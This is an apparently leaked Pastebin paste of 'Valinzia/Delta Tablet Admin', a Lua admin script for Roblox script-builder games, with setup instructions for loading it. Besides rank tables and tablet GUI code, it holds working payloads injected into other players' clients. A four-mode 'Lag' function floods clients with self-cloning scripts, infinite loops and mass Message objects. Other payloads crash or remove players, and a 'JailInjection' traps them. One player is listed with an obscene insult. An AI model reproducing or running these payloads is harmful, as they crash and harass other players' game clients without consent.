Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -- [==[ ~ VALINZIA ~ ]==]
- -- Leaked version from iTov due to the fact that he is stupid and can't hide things.
- -- Got to pastebin,paste this,click submit, then click raw, copie raw file and go to Loader
- -- When loading this delete all of this <-- ^^^
- -- |
- local _start = time()
- wait()
- MessageLimit = 10
- Delta = {
- Ranked = {
- --[==[ Ranked 7 ]==]--
- ["TheOfficalNoob4788"] = {Rank = 7, Color = "Really blue", MeshType = "No Mesh", Distance = 9, Description = "Creator of Valinzia", SpinningRot = true, Rotation = true};
- --[==[ Ranked 3 ]==]--
- ["moderrncombat"] = {Rank = 3, Color = "Royal purple", MeshType = "No Mesh", Distance = 7, Description = "idk who this is", SpinningRot = true, Rotation = true};
- --[==[ Ranked 3 ]==]--
- ["troy92728"] = {Rank = 4, Color = "Really blue", MeshType = "No Mesh", Distance = 7, Description = "Creator of Valinzia", SpinningRot = true, Rotation = true};
- --[==[ Ranked 2 ]==]--
- ["hippiekid94"] = {Rank = 4, Color = "Teal", MeshType = "No Mesh", Distance = 5, Description = "Friend", SpinningRot = true, Rotation = true};
- --[==[ Ranked 1 ]==]--
- ["ScriptBuilderSafe"] = {Rank = 4, Color = "Really blue", MeshType = "No Mesh", Distance = 5, Description = "Friend", SpinningRot = true, Rotation = true};
- --[==[ Private Server People ]==]--
- ["ScriptMaiker"] = {Rank = 0.5, Color = "White", MeshType = "No Mesh", Distance = 5, Description = "Private Server Allowed", SpinningRot = true, Rotation = true};
- --[==[ Banished Below ]==]--
- ["tamariusjones09"] = {Rank = -1, Color = "Medium stone grey", MeshType = "No Mesh", Distance = 30, Description = "A Mother Fucking Bitch", SpinningRot = false, Rotation = true};
- ["12345678910jaijai"] = {Rank = -2, Color = "Medium stone grey", MeshType = "No Mesh", Distance = 30, Description = "Tp noob", SpinningRot = false, Rotation = true};
- };
- Ranks = {
- [7] = "Owner";
- [6] = "Operator";
- [5] = "Moderator";
- [4] = "Admin";
- [3] = "User";
- [2] = "Member";
- [1] = "Visitor";
- [0] = "Unknown";
- [-1] = "Banned";
- [-2] = "Lagged";
- };
- Services = setmetatable({Game = game;}, {
- __index = function(tab, key)
- if game:GetService(key) == nil then
- return "No such service named "..key
- end
- return game:GetService(key)
- end
- });
- ChatFilter = {
- Phrases = {
- --[==[
- 0 = Kill
- 1 = Mute
- 1 = Kick
- 2 = Lag
- 3 = Banishment
- ]==]--
- {"kick", 1};
- {"ban", 1};
- {"Kohl", 1};
- {"NOVA", 1};
- {"Asule", 1};
- {"Bsod", 1};
- {"CBA", 1};
- {"Solar", 3};
- {"iOrb", 1};
- {"Camball", 1};
- {"function onCharge(Color)", 1};
- {"TeleportService", 3};
- };
- Enabled = true;
- };
- PrivateServer = {
- Enabled = false;
- Waiting = {};
- };
- Removed = false;
- Aborted = false;
- ServerSidedScriptsLock = false;
- LocalSidedScriptsLock = false;
- AgeRestriction = false;
- ShowRanks = true;
- ShutdownTime = 30;
- Bet = "'";
- RemoteControlLink = "https://code.stypi.com/99zay99/Delta%20remote.lua";
- Commands = {};
- Tablets = {};
- ExplorerObjectClones = {};
- Scripts = {
- ServerSided = {};
- ClientSided = {};
- };
- Connections = {
- Loops = {};
- Killing = {};
- Chat = {};
- };
- PseudoLocalScript = nil;
- SourceName = nil;
- }
- if script and game.PlaceId ~= 0 and game then
- script.Name = "Delta Tablet Admin"
- for _,v in pairs(script:GetChildren()) do
- if v:IsA("StringValue") then
- Delta.SourceName = v.Name
- Delta.SourceValue = v.Value
- v.Value = [==[error("Attempted to call a nil value");]==]
- end
- end
- coroutine.yield()
- script:ClearAllChildren()
- script.Parent = Instance.new("Model") or __LOLNO__ or nil
- end
- -- PseudoScripting Functions --
- createLocalScript = function(source,parent,name)
- if newLocalScript then
- local nls = newLocalScript(source,parent)
- nls.Name = (name ~= nil and name) or "PseudoLocalScript"
- return nls
- else
- if Delta.PseudoLocalScript ~= nil then
- local x = Delta.PseudoLocalScript:clone()
- x.Disabled = true
- x.Name = (name ~= nil and name) or "PseudoLocalScript"
- x:ClearAllChildren()
- for _,v in pairs({"DSource", "Source", "source"}) do
- local newSource = Instance.new("StringValue", x)
- newSource.Name = v
- newSource.Value = source
- end
- x.Parent = parent
- x.Disabled = false
- else
- -- Output("Admins", "No LocalScript Source!", "Really red", nil, 3)
- end
- end
- end
- createScript = function(source, parent, name)
- if newScript then
- local ns = newScript(source,parent)
- ns.Name = (name ~= nil and name) or "PseudoScript"
- return ns
- else
- local x = script:Clone()
- x.Disabled = true
- x.Name = (name ~= nil and name) or "PseudoScript"
- x:ClearAllChildren()
- for _,v in pairs({"DSource", "Source", "source"}) do
- local newSource = Instance.new("StringValue", x)
- newSource.Name = v
- newSource.Value = source
- end
- x.Parent = parent
- x.Disabled = false
- end
- end
- -- getALLPlayers --
- getALLPlayers = function()
- local ALLPlayers = {}
- for i,v in pairs(Delta.Services.NetworkServer:GetChildren()) do
- ypcall(function()
- if v:IsA("ServerReplicator") then
- table.insert(ALLPlayers, v:GetPlayer())
- end
- end)
- end
- return ALLPlayers
- end
- -- Sources --
- RemovePlayer = [[
- local plrs = game:GetService('Players')
- if pcall(function() plrs["LocalPlayer"].Character:GetChildren() end) then
- plrs["LocalPlayer"].Parent=nil
- plrs["LocalPlayer"].Parent=plrs
- else
- for i=1, 1000 do
- Instance.new('ManualSurfaceJointInstance')
- end
- end
- pcall(function()
- game:GetService('Workspace'):ClearAllChildren()
- end)
- ]]
- JailInjection = [[
- --[==[ Made by Ultimatekiller010 ]==]--
- wait()
- script.Parent = nil
- Event=nil
- LocalPlayer = Game:GetService("Players")["LocalPlayer"]
- RandomColors = {
- [0] = BrickColor.new(Color3.new(0,0,0));
- }
- local X,Y,Z
- function CheckPos(Char)
- local torso = Char:findFirstChild("Torso",true)
- if torso then
- X = torso.CFrame.x
- Y = torso.CFrame.y
- Z = torso.CFrame.z
- end
- pcall(function() Event:disconnect() end)
- Event=Game:GetService("RunService").Stepped:connect(function()
- if torso == nil or torso.Parent~=Char then
- Event:disconnect()
- else
- if (torso.CFrame.x > X + 10) and X and Y and Z then
- torso.CFrame = CFrame.new(X,Y,Z)
- elseif (torso.CFrame.y > Y + 10) and X and Y and Z then
- torso.CFrame = CFrame.new(X,Y,Z)
- elseif (torso.CFrame.z > Z + 10) and X and Y and Z then
- torso.CFrame = CFrame.new(X,Y,Z)
- end
- end
- end)
- end
- function MakeJail(Char)
- local Jail = Instance.new("Model",Workspace:findFirstChild("Camera"))
- Jail.Name="Jail"
- for l = 0,15,1 do
- pcall(function()
- Char:findFirstChild("Torso").Anchored=true
- for i = 1,90 do
- local x = math.cos(i/100 * math.pi) * 4
- local p = Instance.new("Part",Jail)
- p.Size=Vector3.new(1,1,1)
- p.Anchored=true
- p.Locked=true
- p.BrickColor = RandomColors[math.random(0,#RandomColors)]
- p.CFrame = Char:findFirstChild("Torso").CFrame * CFrame.Angles(math.rad(l*12),0,x) * CFrame.new(10,0,0)
- -- wait()
- end
- end)
- wait()
- end
- CheckPos(Char)
- LocalPlayer.Character:findFirstChild("Torso").Anchored=false
- end
- WorkspaceRemoveCon = Game:GetService("Workspace").ChildRemoved:connect(function(c)
- if c.Name=="Camera" then
- MakeJail(LocalPlayer.Character)
- end
- c.DescendantRemoving:connect(function(d)
- if d.Parent.Name == "Jail" then
- d.Parent:Remove()
- MakeJail(LocalPlayer.Character)
- end
- end)
- end)
- local CharacterCon = LocalPlayer.CharacterAdded:connect(function(c)
- wait()
- -- if Workspace:findFirstChild("Camera") then
- -- Workspace:findFirstChild("Camera"):ClearAllChildren()
- -- end
- if c:findFirstChild("Torso") then
- c.Torso.CFrame = CFrame.new(X,Y,Z)
- end
- end)
- local CameraCon=Workspace:findFirstChild("Camera").DescendantRemoving:connect(function(d)
- if d.Parent.Name == "Jail" then
- d.Parent:Remove()
- MakeJail(LocalPlayer.Character)
- end
- end)
- LocalPlayer.ChildAdded:connect(function(c)
- if c:IsA('StringValue') then
- if c.Name == 'Delta' then
- if c.Value == 'Disable Jail' then
- LocalPlayer=nil
- RandomColors=nil
- Event:disconnect()
- Event=nil
- WorkspaceRemoveCon:disconnect()
- WorkspaceRemoveCon=nil
- CharacterCon:disconnect()
- CharacterCon=nil
- CameraCon:disconnect()
- CameraCon=nil
- CheckPos=nil
- MakeJail=nil
- Workspace:findFirstChild("Camera"):findFirstChild("Jail"):Destroy()
- end
- end
- end
- end)
- MakeJail(LocalPlayer.Character)
- ]]
- InjectionCrash = [[
- wait()
- script.Parent = nil
- script:ClearAllChildren()
- local Services = setmetatable({Game = game;}, {
- __index = function(index, table)
- return game:GetService(table)
- end
- })
- local LocalPlayer = Services.Players.LocalPlayer
- local Stop = Instance.new("StringValue", LocalPlayer)
- Stop.Name = "STAP CONNECTIONS UMG"
- Stop.Value = "Delta"
- wait(0.1)
- Stop:remove()
- local ChatConnection = LocalPlayer.Chatted:connect(function(Message)
- if LocalPlayer.Parent ~= Services.Players then
- local x = Instance.new('StringValue', Services.ReplicatedStorage)
- x.Name = "Delta"
- x.Value = LocalPlayer.Name..":"..Message
- Services.Debris:AddItem(x, 2)
- end
- end)
- local StringConnection = Services.Lighting.DescendantAdded:connect(function(Object)
- if Object:IsA("StringValue") then
- if Object.Name == "Disconnect: All Players" then
- Object.Name = "Disconnected: All Players"
- ]]..RemovePlayer..[[
- elseif Object.Name == "Disconnect: "..LocalPlayer.Name then
- Object.Name = "Disconnected: "..LocalPlayer.Name
- ]]..RemovePlayer..[[
- elseif Object.Name == "Disconnect: Nil Players" then
- if LocalPlayer.Parent ~= game:GetService("Players") then
- Object.Name = "Disconnected: Nil Players"
- ]]..RemovePlayer..[[
- end
- end
- end
- end)
- local StopConnection = LocalPlayer.DescendantAdded:connect(function(Object)
- if Object:IsA("StringValue") then
- if Object.Name == "STAP CONNECTIONS UMG" and Object.Value == "Delta" then
- StringConnection:disconnect()
- StringConnection = nil
- StopConnection:disconnect()
- StopConnection = nil
- ChatConnection:disconnect()
- ChatConnection = nil
- end
- end
- end)
- ]]
- -- Lag --
- function Lag(Player, Type)
- if Type == nil then Type = 1 end
- local Base = [[
- LocalPlayer=game:GetService('Players')['LocalPlayer']
- Camera=game:GetService('Workspace')['Camera']
- Source=script:findFirstChild('Source') or script:findFirstChild('DSource') or script:findFirstChild('source')
- Character=LocalPlayer.Character
- PlayerGui=LocalPlayer:findFirstChild('PlayerGui') or Instance.new('PlayerGui',LocalPlayer)
- Backpack=LocalPlayer:findFirstChild('Backpack') or Instance.new('Backpack',LocalPlayer)
- run=function(Function,...)
- return coroutine.resume(coroutine.create(Function,...))
- end
- run(function()
- LocalPlayer.CameraMode=Enum.CameraMode.Classic
- wait()
- LocalPlayer.CameraMode=Enum.CameraMode.LockFirstPerson
- print('start lal')
- end)
- -----
- ]]
- if Type == 1 then
- coroutine.resume(coroutine.create(function()
- wait()
- local Parent = Player:findFirstChild('Backpack') or Player:findFirstChild('PlayerGui') or Player.Character or nil
- for i=1, 50 do
- createLocalScript(Base..[[
- new=function()
- run(function()
- local x=script:clone()
- x.Name='lal'
- x.Disabled=true
- x.Parent=Character or PlayerGui or Backpack
- x.Disabled=false
- end)
- run(function()
- loadstring(Source.Value)
- end)
- end
- exe=function()
- new()
- local glal,flal,tlal
- pcall(function()
- run(function()
- glal=Instance.new('ScreenGui',PlayerGui)
- glal.Name='glal'
- flal=Instance.new('Frame',glal)
- flal.Name='flal'
- flal.Size = UDim2.new(0,320,0,320) --lal
- flal.Position=UDim2.new(math.random(),math.random(),math.random(),math.random())
- tlal=Instance.new('TextLabel',flal)
- tlal.Name='tlal'
- tlal.BackgroundTransparency=1
- tlal.FontSize='Size9'
- tlal.Text='lal'
- tlal.TextWrap=true
- run(function()
- while wait() do
- flal.BackgroundColor=BrickColor.Random()
- tlal.TextColor=BrickColor.Black()
- ypcall(exe)
- end
- end)
- end)
- end)
- pcall(function()
- run(function()
- for __,p in pairs({PlayerGui,Camera}) do
- pcall(function()
- run(function()
- for _,v in pairs({'Message','Hint'}) do
- Instance.new(v,p).Text='klal'
- end
- end)
- end)
- end)
- end)
- end
- end
- for i=1,500 do
- exe()
- end
- ]], Parent)
- createLocalScript(Base..[[
- new=function()
- game:GetService('RunService').Stepped:connect(function()
- for i=1,100 do
- Instance.new('Message',Camera).Text='lal'
- Instance.new('Message',PlayerGui).Text='lal'
- end
- end)
- new()
- end
- new()
- ]], Parent)
- createLocalScript(Base..[[
- new=function()
- game:GetService('RunService').Stepped:connect(function()
- for i=1,100 do
- Instance.new('Hint',Camera).Text='lal'
- Instance.new('Hint',PlayerGui).Text='lal'
- end
- end)
- new()
- end
- new()
- ]], Parent)
- end
- end))
- elseif Type == 2 then
- coroutine.resume(coroutine.create(function()
- wait()
- local Parent = Player:findFirstChild('Backpack') or Player:findFirstChild('PlayerGui') or Player.Character or nil
- for i=1, 50 do
- createLocalScript(Base..[[repeat Instance.new('Message',Camera) until false]], Parent)
- end
- end))
- elseif Type == 3 then
- coroutine.resume(coroutine.create(function()
- wait()
- local Parent = Player:findFirstChild('Backpack') or Player:findFirstChild('PlayerGui') or Player.Character or nil
- createLocalScript(Base..[[
- for i=1,1/0 do
- run(function()
- while wait() do
- lal=script:Clone()
- lal.Disabled=true
- lal.Name='lal'
- lal.Parent=Character or PlayerGui or Backpack
- lal.Disabled=false
- pcall(function()
- run(function()
- loadstring(Source.Value)
- end)
- end)
- Instance.new('Tool',Backpack).Name='lal'
- end
- end)
- end
- ]], Parent)
- end))
- elseif Type == 4 then
- coroutine.resume(coroutine.create(function()
- wait()
- local Parent = Player:findFirstChild('Backpack') or Player:findFirstChild('PlayerGui') or Player.Character or nil
- createLocalScript(Base..[[ for i=1, 28000 do Instance.new('Message',Camera) end ]], Parent)
- end))
- end
- end
- -- Status Announce --
- Announce = function(msg,fs)
- if fs == true then
- for i,v in pairs(Delta.Services.Players:GetPlayers()) do
- if v:findFirstChild("PlayerGui") then
- local sg = Instance.new("ScreenGui", v.PlayerGui)
- sg.Name = "Delta ScreenGui FullScreen "..math.random(999999)
- local fr = Instance.new("Frame", sg)
- fr.Name = "Main"
- fr.Size = UDim2.new(0, 0, 0, 0)
- fr.Position = UDim2.new(0, 0, 0, 0)
- fr.BackgroundTransparency = 1
- fr.BackgroundColor3 = Color3.new(-1,-1,-1)
- fr.BorderColor3 = Color3.new(1,1,1)
- local tl = Instance.new("TextLabel", fr)
- tl.Size = UDim2.new(1, 0, 1, 0)
- tl.BackgroundTransparency = 1
- tl.TextColor3 = Color3.new(1,1,1)
- tl.FontSize = "Size17"
- tl.Text = string.gsub(msg, "", "\5")
- tl.Name = "Text"
- tl.TextTransparency = 0.8
- pcall(function() Delta.Services.Debris:AddItem(sg, 4) end)
- fr:TweenSize(UDim2.new(1, 0, 1, 0), "Out", "Quad", 1)
- coroutine.resume(coroutine.create(function()
- wait(2)
- tl:remove()
- fr:TweenSize(UDim2.new(0, 0, 0, 0), "Out", "Quad", 1)
- end))
- end
- end
- else
- local sg
- local function GetNumAlerts(Par)
- local Num = 0
- if Par == nil then return 0 end
- for i, Obj in pairs(Par:GetChildren()) do
- if Obj.Name:lower():find(string.lower("Delta ScreenGui Hint")) or Obj.Name:upper():find(string.upper("Delta ScreenGui Hint")) then
- Num = Num + 1
- end
- end
- return Num
- end
- for i,v in pairs(Delta.Services.Players:GetPlayers()) do
- if v:findFirstChild("PlayerGui") then
- sg = Instance.new("ScreenGui", v.PlayerGui)
- sg.Name = "Delta ScreenGui Hint "..math.random(999999)
- local num = 0.025 + (-0.025+0.025*GetNumAlerts(sg.Parent))
- local fr = Instance.new("Frame", sg)
- fr.Name = "Main"
- fr.Size = UDim2.new(1, 0, 0.025, 0)
- fr.Position = UDim2.new(-1, 0, num, 0)
- fr.BackgroundTransparency = 0.1
- fr.BackgroundColor3 = Color3.new(1, 1, 1)
- fr.BorderColor3 = Color3.new(0, 0, 0)
- local tl = Instance.new("TextLabel", fr)
- tl.Size = UDim2.new(1, 0, 1, 0)
- tl.BackgroundTransparency = 1
- tl.TextColor3 = Color3.new(-1,-1,-1)
- tl.FontSize = "Size18"
- tl.Text = string.gsub(msg, "", "\5")
- tl.Name = "Text"
- tl.TextTransparency = 0
- pcall(function() Delta.Services.Debris:AddItem(sg, 4) end)
- fr:TweenPosition(UDim2.new(0, 0, num, 0), "Out", "Quad", 1)
- coroutine.resume(coroutine.create(function()
- wait(3)
- tl:remove()
- fr:TweenPosition(UDim2.new(1, 0, num, 0), "Out", "Quad", 1)
- end))
- end
- end
- end
- end
- -- Get Rankings Functions --
- GetRanking = function(Player)
- if type(Player) == "userdata" then
- Player = Player.Name
- end
- if Delta.Ranked[Player] ~= nil then
- return Delta.Ranked[Player]
- else
- local Table = {}
- Table[Player] = {Rank = 0, Color = "White", MeshType = "No Mesh", Distance = 5, Description = "N/A", SpinningRot = false};
- return Table[Player]
- end
- end
- FindRank = function(Player)
- if type(Player) == "userdata" then
- Player = Player.Name
- end
- return GetRanking(Player).Rank
- end
- CheckRank = function(Player1, Player2)
- if Player1 == Player2 then
- return false
- end
- if type(Player1) == "userdata" then
- Player1 = Player1.Name
- end
- if type(Player2) == "userdata" then
- Player2 = Player2.Name
- end
- if FindRank(Player1) >= FindRank(Player2) then
- return true
- else
- return false
- end
- end
- ChangeRank = function(Player, Rank)
- if type(Player) == "userdata" then
- Player = Player.Name
- end
- if Delta.Ranked[Player] ~= nil then
- Delta.Ranked[Player].Rank = Rank
- else
- Delta.Ranked[Player] = {Rank = Rank, Color = "White", MeshType = "No Mesh", Distance = 4, Description = "N/A", SpinningRot = false, Rotation = true}
- end
- end
- CommandInterface = function(Speaker, i)
- if FindRank(Speaker) > FindRank(i) and Delta.Services.Players:findFirstChild(i) then
- Dismiss(Speaker)
- Output(Speaker, "Kill Inferance", "New Yeller", function()
- Dismiss(Speaker)
- Output(Speaker, "Kill", nil, function()
- Dismiss(Speaker)
- Delta.Commands.Kill.Function(Speaker, i)
- end)
- Output(Speaker, "Explode", nil, function()
- Dismiss(Speaker)
- Delta.Commands.Kill.Function(Speaker, i.."-e")
- end)
- Output(Speaker, "Respawn", nil, function()
- Dismiss(Speaker)
- Delta.Commands.Kill.Function(Speaker, i.."-r")
- end)
- Output(Speaker, "WalkSpeed", nil, function()
- Dismiss(Speaker)
- Delta.Commands.Kill.Function(Speaker, i.."-w")
- end)
- Output(Speaker, "Back", "Really blue", function()
- CommandInterface(Speaker, i)
- end)
- Output(Speaker, "Dismiss")
- end)
- Output(Speaker, "Kick Interface", "Really red", function()
- Dismiss(Speaker)
- Output(Speaker, "Kick", nil, function()
- Dismiss(Speaker)
- Delta.Commands.Kick.Function(Speaker, i)
- end)
- Output(Speaker, "Ban", nil, function()
- Dismiss(Speaker)
- Delta.Commands.Kick.Function(Speaker, i.."-b")
- end)
- Output(Speaker, "Crash", nil, function()
- Dismiss(Speaker)
- Delta.Commands.Kick.Function(Speaker, i.."-c")
- end)
- Output(Speaker, "Rejoin", nil, function()
- Dismiss(Speaker)
- Delta.Commands.Kick.Function(Speaker, i.."-r")
- end)
- Output(Speaker, "Nil", nil, function()
- Dismiss(Speaker)
- Delta.Commands.Kick.Function(Speaker, i.."-n")
- end)
- Output(Speaker, "Back", "Really blue", function()
- CommandInterface(Speaker, i)
- end)
- Output(Speaker, "Dismiss")
- end)
- Output(Speaker, "Lag Interface", "Hot pink", function()
- Dismiss(Speaker)
- Output(Speaker, "Lag", nil, function()
- Dismiss(Speaker)
- Delta.Commands.Lag.Function(Speaker, i)
- end)
- Output(Speaker, "Ban", nil, function()
- Dismiss(Speaker)
- Delta.Commands.Lag.Function(Speaker, i.."-b")
- end)
- Output(Speaker, "Crash", nil, function()
- Dismiss(Speaker)
- Delta.Commands.Lag.Function(Speaker, i.."-c")
- end)
- Output(Speaker, "Back", "Really blue", function()
- CommandInterface(Speaker, i)
- end)
- Output(Speaker, "Dismiss")
- end)
- Output(Speaker, "Mute Interface", "Bright green", function()
- Dismiss(Speaker)
- Output(Speaker, "Mute", nil, function()
- Dismiss(Speaker)
- Delta.Commands.Mute.Function(Speaker, i)
- end)
- Output(Speaker, "UnMute", nil, function()
- Dismiss(Speaker)
- Delta.Commands.Mute.Function(Speaker, i.."-u")
- end)
- Output(Speaker, "Ban", nil, function()
- Dismiss(Speaker)
- Delta.Commands.Mute.Function(Speaker, i.."-b")
- end)
- Output(Speaker, "Back", "Really blue", function()
- CommandInterface(Speaker, i)
- end)
- Output(Speaker, "Dismiss")
- end)
- Output(Speaker, "Dismiss")
- end
- end
- GetRankedInterface = function(Speaker, Player) -- "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name
- Dismiss(Speaker)
- if type(Player) == "userdata" then
- Player = Player.Name
- end
- local GetRankedPlayer = function(i)
- if type(i) == "userdata" then
- i = i.Name
- end
- Dismiss(Speaker)
- Output(Speaker, "Name: "..i, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..i)
- ypcall(function()
- Output(Speaker, "Age: "..Delta.Services.Players[i].AccountAge)
- Output(Speaker, "userId: "..Delta.Services.Players[i].userId)
- end)
- Output(Speaker, "Rank: "..FindRank(i))
- Output(Speaker, "View Other Infomation", "White", function()
- Output(Speaker, "Color: "..Delta.Ranked[i].Color or "N/A")
- Output(Speaker, "Distance: "..Delta.Ranked[i].Distance or "N/A")
- Output(Speaker, "Mesh: "..Delta.Ranked[i].MeshType or "N/A")
- Output(Speaker, "Description: "..Delta.Ranked[i].Description or "N/A")
- end)
- if FindRank(Speaker) > FindRank(i) then
- if Delta.Services.Players:findFirstChild(i, true) then
- Output(Speaker, "Commands", "Teal", function() CommandInterface(Speaker, i) end)
- end
- end
- if FindRank(Speaker) > FindRank(i) then
- Output(Speaker, "Set Rank", "Royal purple", function()
- Dismiss(Speaker)
- for __,v in pairs(Delta.Ranks) do
- if __ < FindRank(Speaker) then
- Output(Speaker, '['..tostring(__)..'] '..v, nil, function()
- ChangeRank(i, __)
- end)
- end
- end
- end)
- end
- if FindRank(Speaker) > FindRank(i) or i == Speaker.Name then
- Output(Speaker, "Customization", "Blue", function()
- Output(Speaker, "Set Color", "Teal", function()
- Dismiss(Speaker)
- for _,c in pairs({"Br. yellowish green","Bright yellow","Bright orange","Bright red","Bright violet","Bright blue","Bright bluish green","Bright green","Institutional white","White","Light stone grey","Mid gray","Medium stone grey","Dark stone grey","Black","Really black","Grime","Br. yellowish orange","Light orange","Sand red","Lavender","Sand blue","Medium blue","Sand green","Brick yellow","Cool yellow","Neon orange","Medium red","Light reddish violet","Pastel Blue","Teal","Medium green","Pastel brown","Pastel yellow","Pastel orange","Pink","Pastel violet","Pastel light blue","Pastel blue-green","Pastel green","Olive","New Yeller","Deep orange","Really red","Hot pink","Really blue","Toothpaste","Lime green","Brown","Nougat","Dark orange","Royal purple","Alder","Cyan","Light blue","Camo","Reddish brown","CGA brown","Dusty Rose","Magenta","Deep blue","Navy blue","Dark green","Earth green"}) do
- Output(Speaker, c, c, function()
- Dismiss(Speaker)
- Delta.Ranked[i].Color = c
- GetRankedInterface(Speaker)
- end)
- end
- end)
- Output(Speaker, "Distances", "Royal purple", function()
- Dismiss(Speaker)
- for z = 1, 30 do
- Output(Speaker, z, nil, function()
- Dismiss(Speaker)
- Delta.Ranked[i].Distance = z
- GetRankedInterface(Speaker)
- end)
- end
- end)
- Output(Speaker, "Mesh", "Teal", function()
- Dismiss(Speaker)
- for _,c in pairs({"No Mesh", "No Mesh (Tablets)", "Diamond", "Diamond (Tablets)", "Sphere", "Poop", "Fire", "Dominus", "Doge", "Books"}) do
- Output(Speaker, c, nil, function()
- Dismiss(Speaker)
- Delta.Ranked[i].MeshType = c
- GetRankedInterface(Speaker)
- end)
- end
- end)
- Output(Speaker, "Rotation", "White", function()
- Dismiss(Speaker)
- Output(Speaker, "True", nil, function() GetRankedInterface(Speaker) Delta.Ranked[i].SpinningRot = true end)
- Output(Speaker, "False", nil, function() GetRankedInterface(Speaker) Delta.Ranked[i].SpinningRot = false end)
- end)
- Output(Speaker, "Rotations", "Really blue", function()
- Dismiss(Speaker)
- Output(Speaker, "True", nil, function() GetRankedInterface(Speaker) Delta.Ranked[i].Rotation = true end)
- Output(Speaker, "False", nil, function() GetRankedInterface(Speaker) Delta.Ranked[i].Rotation = false end)
- end)
- Output(Speaker, "Set Presets", "Hot pink", function()
- Dismiss(Speaker)
- for _,v in pairs({"Blocks", "Diamond Tablets", "Traditional Tablets", "Books", "Sphere"}) do
- Output(Speaker, v, nil, function()
- Dismiss(Speaker)
- if v == "Blocks" then
- Delta.Ranked[i].MeshType = "No Mesh"
- Delta.Ranked[i].SpinningRot = true
- Delta.Ranked[i].Rotation = true
- Delta.Ranked[i].Distance = 5
- elseif v == "Traditional Tablets" then
- Delta.Ranked[i].MeshType = "No Mesh (Tablets)"
- Delta.Ranked[i].SpinningRot = false
- Delta.Ranked[i].Rotation = true
- Delta.Ranked[i].Distance = 5
- elseif v == "Diamond Tablets" then
- Delta.Ranked[i].MeshType = "Diamond (Tablets)"
- Delta.Ranked[i].SpinningRot = false
- Delta.Ranked[i].Rotation = true
- Delta.Ranked[i].Distance = 10
- elseif v == "Books" then
- Delta.Ranked[i].MeshType = "Books"
- Delta.Ranked[i].SpinningRot = false
- Delta.Ranked[i].Rotation = false
- Delta.Ranked[i].Distance = 4
- elseif v == "Sphere" then
- Delta.Ranked[i].MeshType = "Sphere"
- Delta.Ranked[i].SpinningRot = true
- Delta.Ranked[i].Rotation = true
- Delta.Ranked[i].Distance = 5
- end
- end)
- end
- end)
- end)
- end
- Output(Speaker, "Back To Ranked", "Teal", function() GetRankedInterface(Speaker) end)
- Output(Speaker, "Back To Players", "Teal", function() ShowPlayers(Speaker) end)
- Output(Speaker, "Dismiss")
- end
- if Player ~= nil then
- GetRankedPlayer(Player)
- else
- for i,v in pairs(Delta.Ranked) do
- Output(Speaker, i, Valinzia.Ranked[i].Color, function()
- GetRankedPlayer(i)
- end)
- end
- end
- end
- -- Output Functions --
- OutputSingular = function(Player, Msg, Color, Function, Time, Image)
- if Delta.Removed == true then return end
- --wait()
- if Msg == nil then
- Msg = " "
- elseif Msg == "Dismiss" then
- Color = "Really red"
- end
- if Color == nil then
- Color = Delta.Ranked[Player.Name].Color ~= nil and Delta.Ranked[Player.Name].Color or "White"
- end
- local a = Instance.new("Part", workspace)
- a.Name = "Valinzia // "..Player.Name
- if Color == "Random" then
- a.BrickColor = BrickColor.Random()
- else
- a.BrickColor = BrickColor.new(Color)
- end
- a.TopSurface = 0
- a.BottomSurface = 0
- a.FormFactor = "Custom"
- a.Size = Vector3.new(1.9,1.9,1.9)
- a.Anchored = true
- a.Locked = true
- a.Transparency = 0.3
- a.CanCollide = false
- pcall(function() a.CFrame = Player.Character.Torso.CFrame --[[* CFrame.new(10,0,10)]] end)
- -- local p = Instance.new("PointLight", a)
- -- p.Color = a.BrickColor.Color
- -- p.Range = 3
- -- p.Brightness = 1/0
- local s = Instance.new("SelectionBox", a)
- s.Adornee = a
- s.Color = a.BrickColor
- s.Transparency = 0.3
- local m = Instance.new("SpecialMesh", a)
- if Delta.Ranked[Player.Name].MeshType == "Sphere" then
- m.MeshType = "Sphere"
- elseif Delta.Ranked[Player.Name].MeshType == "Diamond (Tablets)" then
- s.Transparency = 0
- a.Transparency = 0
- a.Size = Vector3.new(5,6,1)
- m.Scale = Vector3.new(2,2,2)
- m.MeshId = "http://www.roblox.com/Asset/?id=9547466"
- elseif Delta.Ranked[Player.Name].MeshType == "Diamond" then
- m.Scale = Vector3.new(2,2,2)
- m.MeshId = "http://www.roblox.com/Asset/?id=9547466"
- elseif Delta.Ranked[Player.Name].MeshType == "Poop" then
- s:remove()
- m.Scale = Vector3.new(0.1,0.1,0.1)
- m.MeshId = "http://www.roblox.com/Asset/?id=10297725"
- elseif Delta.Ranked[Player.Name].MeshType == "Fire" then
- s:remove()
- m.MeshType = "FileMesh"
- local f = Instance.new("Fire", a)
- f.Color = a.BrickColor.Color
- f.SecondaryColor = f.Color
- f.Heat = 10
- if FindRank(Player) >= 4 then
- a.Touched:connect(function(hit)
- humanoid = hit.Parent:findFirstChild("Humanoid")
- if humanoid ~= nil and humanoid.Parent.Name ~= Player.Name then
- humanoid.Health = humanoid.Health - 5
- end
- end)
- end
- elseif Delta.Ranked[Player.Name].MeshType == "Dominus" then
- s:remove()
- m.MeshId = "http://www.roblox.com/asset/?id=21057410"
- m.Scale = Vector3.new(1.5,1.5,1.5)
- elseif Delta.Ranked[Player.Name].MeshType == "Top Hat" then
- s:remove()
- m.MeshId = "http://www.roblox.com/asset/?id=1028713"
- m.TextureId = "http://www.roblox.com/asset/?id=137274955"
- m.Scale = Vector3.new(1.5,1.5,1.5)
- a.Transparency = 0
- elseif Delta.Ranked[Player.Name].MeshType == "No Mesh (Tablets)" then
- m:remove()
- a.Size = Vector3.new(3,4,0.1)
- elseif Delta.Ranked[Player.Name].MeshType == "Books" then
- s:remove()
- m.MeshType = "FileMesh"
- m.MeshId = "http://www.roblox.com/asset/?id=1136139"
- a.Size = Vector3.new(2.3, 1, 3)
- else
- m:remove()
- end
- local b = Instance.new("BillboardGui", a)
- b.Name = 'BG'
- b.StudsOffset = Vector3.new(0,1.5,0)
- b.Size = UDim2.new(9,0,8,0)
- b.Adornee = a
- local cd = Instance.new('ClickDetector',a)
- cd.MaxActivationDistance = 1/0
- local t = Instance.new("TextLabel", b)
- t.Name = "TL"
- t.Font = "SourceSans"
- t.FontSize = "Size24"
- t.Size = UDim2.new(1,0,.3,0)
- t.TextColor = a.BrickColor
- t.TextStrokeTransparency = 0
- t.BackgroundTransparency = 1
